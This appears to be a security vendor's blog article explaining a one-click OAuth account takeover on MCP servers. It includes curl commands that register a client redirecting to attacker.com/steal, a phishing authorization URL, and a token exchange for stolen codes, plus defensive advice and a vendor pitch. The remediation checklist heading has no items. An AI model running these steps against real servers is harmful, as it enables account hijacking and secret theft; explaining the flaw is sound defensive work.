Application Security OAuth Security API Security

MCP OAuth Account Takeover: How Open Dynamic Client Registration Enables One-Click ATO on AI Integrations

MCP OAuth Account Takeover: How Open Dynamic Client Registration Enables One-Click ATO on AI Integrations (v2, with exact curl commands)

How One Unauthenticated POST Hands Attackers Full Access to AI Integrations

If your product exposes an MCP (Model Context Protocol) server, there is a class of OAuth misconfiguration that lets an attacker register their own OAuth client, craft a phishing link, and collect a victim's authorization code without touching a single line of your code. No CVE required. No scanner will catch it. The technique was documented by researcher sicks3c at blog.sicks3c.io, and it is already appearing in real SaaS deployments.

This article walks through the MCP OAuth account takeover attack step by step, with the exact curl commands used in the wild, so your team understands what is being exploited and how to close it.


What MCP Is and Why OAuth Is the Weak Spot

MCP is an open protocol that lets AI assistants call tools exposed by a server. Think of it as an API layer purpose-built for LLM agents. A user authorizes an MCP client (the AI agent) to act on their behalf, and the server grants it access to tools like reading user data, deploying code, or managing environment variables.

Because MCP relies on OAuth 2.0 for authorization, it inherits every OAuth misconfiguration that has plagued web applications for years. The difference is the blast radius. Hijacking an OAuth token on a standard web app might expose a user's profile. Hijacking an MCP token can mean deploying code, modifying environment variables, or managing team access, depending on what tools the server exposes.


The Three Vulnerabilities That Make This Attack Work

The attack sicks3c documented is not a single flaw. It chains three weaknesses that individually look minor but together produce a one-click account takeover.

1. Open Dynamic Client Registration (no authentication required)

RFC 7591 defines a standard way for clients to register themselves with an OAuth server. Some MCP deployments expose this endpoint with no credentials or prior authorization required. Anyone on the internet can POST to it and receive a valid client_id.

2. Arbitrary Redirect URI Acceptance

The server accepts any redirect_uri the attacker supplies during registration, including https://attacker.com/steal. No allowlist, no domain matching, no human approval step.

3. PKCE Not Enforced

PKCE (Proof Key for Code Exchange) ties an authorization code to the specific client session that requested it. When PKCE is optional rather than required, an attacker who intercepts an authorization code can exchange it for a token without knowing the original code verifier.

All three weaknesses must be present for the full attack to work. In practice, sicks3c found them together in real MCP deployments.


The Attack, Step by Step (with Exact curl Commands)

Step 1: Discover the Registration Endpoint

An attacker starts by probing for the OAuth server metadata and registration endpoint. These paths are standard enough that a basic wordlist covers them:

# OAuth Authorization Server Metadata (RFC 8414)
/.well-known/oauth-authorization-server
# Standard OAuth endpoints
/oauth-server/reg
/oauth/register
/.oauth/registration
# MCP-specific endpoints
/mcp
/sse

Hitting /.well-known/oauth-authorization-server often returns a JSON document that confirms whether open registration is available. A response like this is a red flag:

{
  "registration_endpoint": "https://target/oauth-server/reg",
  "token_endpoint_auth_methods_supported": ["client_secret_basic", "none"],
  "code_challenge_methods_supported": ["S256"]
}

Two things stand out here. First, "none" in token_endpoint_auth_methods_supported means the server will accept token requests from a client with no secret. Second, S256 appears in code_challenge_methods_supported but is not listed as required. PKCE is advertised, not enforced.

Step 2: Register a Malicious Client

With the registration endpoint confirmed, the attacker registers their own OAuth client. No token, no API key, no prior account needed:

curl -X POST https://vulnerable-mcp.example.app/oauth-server/reg \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "Totally Legit Helper",
    "redirect_uris": ["https://attacker.com/steal"],
    "grant_types": ["authorization_code", "refresh_token"],
    "response_types": ["code"],
    "token_endpoint_auth_method": "none"
  }'

The server responds with a freshly minted client_id:

{
  "client_id": "abc123xyz...",
  "token_endpoint_auth_method": "none",
  "redirect_uris": ["https://attacker.com/steal"],
  "client_name": "Totally Legit Helper"
}

The attacker now has a legitimate client_id registered on the target's own OAuth server, pointing to a redirect URI they control.

Step 3: Craft the Authorization URL and Deliver It to a Victim

The attacker builds an authorization URL using the client_id they just registered. Notice what is absent:

https://vulnerable-mcp.example.app/oauth-server/auth
  ?response_type=code
  &client_id=abc123xyz
  &redirect_uri=https://attacker.com/steal
  &state=random123
  &scope=read+write

No code_challenge parameter. PKCE is not enforced, so the server accepts the request anyway. The attacker delivers this URL to a victim through a phishing email, a Slack message, or a compromised integration page.

Step 4: Victim Authorizes, Code Lands on Attacker's Server

The victim clicks the link, sees what looks like a normal OAuth consent screen (the app name "Totally Legit Helper" was supplied by the attacker), and clicks authorize. The server redirects their browser to:

https://attacker.com/steal?code=AUTHORIZATION_CODE&state=random123

The authorization code is now in the attacker's hands.

Step 5: Exchange the Code for a Token, No Secret Required

Because token_endpoint_auth_method is "none" and PKCE is not enforced, the attacker exchanges the code directly:

curl -X POST https://vulnerable-mcp.example.app/oauth-server/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=AUTHORIZATION_CODE" \
  -d "redirect_uri=https://attacker.com/steal" \
  -d "client_id=abc123xyz"

The server returns a fully valid access token and refresh token:

{
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "...",
  "scope": "read write"
}

The attacker now has persistent access to the victim's account via the refresh token.


What the Attacker Can Do With That Token

The scope of damage depends entirely on what tools the MCP server exposes. Here is an example of the tool surface sicks3c found on a real target:

{
  "tools": [
    {"name": "user-services-reader", "operations": ["get-user"]},
    {"name": "deploy-services-updater", "operations": ["deploy-site"]},
    {"name": "project-services-updater", "operations": [
      "manage-env-vars", "create-new-project", "update-visitor-access-controls"
    ]},
    {"name": "team-services-reader", "operations": ["get-teams", "get-team"]}
  ]
}

With a valid token scoped to these tools, an attacker can read user data, deploy arbitrary code, modify environment variables (a reliable path to secrets exfiltration), create new projects, and adjust visitor access controls. This is not a theoretical impact. It is a full account compromise with persistence.


Why Automated Scanners Miss This

Standard DAST tools and vulnerability scanners are not built to reason through OAuth flows end to end. They can flag missing security headers, known CVE patterns, and basic injection points. What they cannot do is connect the dots between an open registration endpoint, an arbitrary redirect URI, and absent PKCE enforcement to conclude: one-click ATO.

Each individual check passes cleanly. The registration endpoint returns HTTP 200 with a valid JSON body. The redirect URI is accepted without error. The token endpoint processes the request successfully. A scanner sees three successful responses. A human tester sees an account takeover.

This is exactly the category of vulnerability that manual penetration testing exists to find. The attack requires understanding OAuth 2.0 semantics, MCP-specific deployment patterns, and the ability to chain weaknesses that look benign in isolation. Zypher tests this class of flaw specifically because it requires attacker reasoning that no automated tool applies.


Severity Assessment: What Makes a Deployment Vulnerable

Not every MCP deployment is equally exposed. The table below maps configuration variables to their risk contribution:

Configuration Variable Safer Behavior Higher Risk Behavior
Redirect URI validation Restricted to pre-approved localhost or specific domains Any external URI accepted
PKCE enforcement Required for all authorization code flows Optional or not checked
Client registration auth Requires initial access token or admin approval Open to unauthenticated POST
Consent screen app name Shown with verified domain Attacker-supplied string displayed as-is
Refresh token issuance Short-lived, bound to session Long-lived, no rotation

A deployment that scores "higher risk" across all five rows is fully exploitable with the commands shown above. Requiring an initial access token for registration and enforcing PKCE closes the attack entirely.


Remediation Checklist for Engineering Teams

If you run an MCP server or are building one, work through this list before shipping:


Frequently Asked Questions

What is an MCP OAuth account takeover?

It is an attack where an adversary exploits misconfigured OAuth settings on an MCP server to steal a victim's authorization code and exchange it for a valid access token, gaining full access to the victim's account and any tools the MCP server exposes.

Does this require a vulnerability in the OAuth spec itself?

No. The OAuth 2.0 specification provides mechanisms like PKCE and redirect URI validation specifically to prevent this attack. The vulnerability exists when those mechanisms are not correctly enforced in the implementation.

Can a WAF or API gateway block this attack?

Not reliably. The attacker's requests are syntactically valid HTTP. A WAF sees a POST to a registration endpoint and a GET to an authorization URL, with nothing malformed to block. The flaw is in the application logic, not the request format.

What is the difference between this and a standard OAuth redirect URI attack?

A classic redirect URI attack assumes the attacker already has a registered client and tries to manipulate the URI at authorization time. This attack is worse because the attacker registers their own client first, so the malicious redirect URI is already on file with the server before the victim ever sees a link.

How do I test whether my MCP server is vulnerable?

Start by probing /.well-known/oauth-authorization-server and checking whether registration_endpoint is present and whether "none" appears in the supported auth methods. Then attempt an unauthenticated POST to the registration endpoint with an external redirect URI. If it succeeds and returns a client_id, your deployment is vulnerable.

Why do MCP deployments ship with open registration in the first place?

MCP is a relatively new protocol and many implementations are built quickly to enable AI integrations. OAuth server configuration is often copied from examples or defaults that prioritize developer convenience over security hardening. Open registration is convenient during development and frequently makes it to production unchanged.

What should I do if I find this vulnerability in a third-party MCP integration my product uses?

Treat it as a critical finding, notify the vendor immediately with a proof of concept, and consider disabling the integration until a fix is confirmed. If the vendor is unresponsive, document your disclosure timeline and assess whether continued use of the integration is acceptable given the risk.


Conclusion

The MCP OAuth account takeover documented by sicks3c is a clean example of why logic-layer vulnerabilities are so dangerous. Three individually unremarkable misconfigurations combine into a one-click account takeover that hands an attacker persistent access to some of the most sensitive operations in a modern SaaS product. No scanner flags it. No firewall blocks it. Only someone who understands OAuth semantics and thinks like an attacker will find it before a real adversary does.

If your team is shipping MCP integrations or building on top of AI agent infrastructure, now is the right time to have those flows tested properly. Zypher tests exactly this class of vulnerability, including auth bypasses, business logic flaws, and chained exploits across web applications, APIs, and SaaS control planes.